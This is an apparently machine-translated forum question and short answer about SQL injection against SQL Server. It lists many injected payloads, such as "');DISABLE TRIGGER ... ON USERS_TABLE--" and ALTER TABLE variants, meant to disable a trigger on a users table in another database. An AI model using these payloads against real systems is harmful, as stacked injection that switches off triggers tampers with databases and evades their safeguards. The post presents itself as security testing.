我当前正在测试sql服务器上的sql注入漏洞。 如果我在存在漏洞的地方使用以下命令,则对应数据库的TRIGGER将被禁用。
但是,其他数据库的TRIGGER保持不变。
- [x] ');DISABLE TRIGGER MAIN_DB_TWO.TRIG_UPDATE_USERS_TABLE ON USERS_TABLE--
- [x] ');DISABLE MAIN_DB_TWO.TRIGGER TRIG_UPDATE_USERS_TABLE ON USERS_TABLE--
- [x] ');DISABLE TRIGGER MAIN_DB_TWO.SYS.TRIGGERS.TRIG_UPDATE_USERS_TABLE ON USERS_TABLE--
- [x] ');DISABLE TRIGGER TRIG_UPDATE_USERS_TABLE ON MAIN_DB_TWO.DBO.USERS_TABLE--
- [x] ');DISABLE TRIGGER TRIG_UPDATE_USERS_TABLE ON MAIN_DB_TWO.USERS_TABLE--
- [x] ALTER TABLE MAIN_DB_TWO.USERS_TABLE DISABLE TRIGGER TRIG_UPDATE_USERS_TABLE--
- [x] ALTER TABLE MAIN_DB_TWO.DBO.USERS_TABLE DISABLE TRIGGER MAIN_DB_TWO.SYS.TRIGGERS.TRIG_UPDATE_USERS_TABLE
- [x] ALTER TABLE MAIN_DB_TWO.DBO.USERS_TABLE DISABLE TRIGGER TRIG_UPDATE_USERS_TABLE
- [x] ');DISABLE TRIGGER TRIG_UPDATE_USERS_TABLE ON ALL--
- [x] ');DISABLE TRIGGER TRIG_UPDATE_USERS_TABLE ALL ON USERS_TABLE--
- [x] ');DISABLE TRIGGER ALL ON MAIN_DB_TWO.USERS_TABLE--
- [x] ');DISABLE TRIGGER ALL ON USERS_TABLE--
- [x] ';)DISABLE TRIGGER MAIN_DB_TWO.TRIG_UPDATE_USERS_TABLE ON MAIN_DB_TWO.USERS_TABLE--
- [x] ';)DISABLE TRIGGER MAIN_DB_TWO.USERS_TABLE ON MAIN_DB_TWO.TRIG_UPDATE_USERS_TABLE--
- [x] ';)DISABLE TRIGGER MAIN_DB_TWO.TRIG_UPDATE_USERS_TABLE ON MAIN_DB_TWO.USERS_TABLE--
- [x] ';)DISABLE TRIGGER MAIN_DB_TWO.TRIG_UPDATE_USERS_TABLE ON USERS_TABLE--
- [x] ');ALTER TABLE MAIN_DB_TWO. dbo.USERS_TABLE DISABLE TRIGGER TRIG_UPDATE_USERS_TABLE--
- [ ] ');UPDATE SYS.TRIGGERS.MAIN_DB_TWO SET IS_DISABLED=1 WHERE NAME='TRIG_UPDATE_USERS_TABLE'--
告诉我如何尝试其他事情!
答案 0 :(得分:0)
那是因为您不引用其他数据库,而仅引用MAIN_DB_TWO。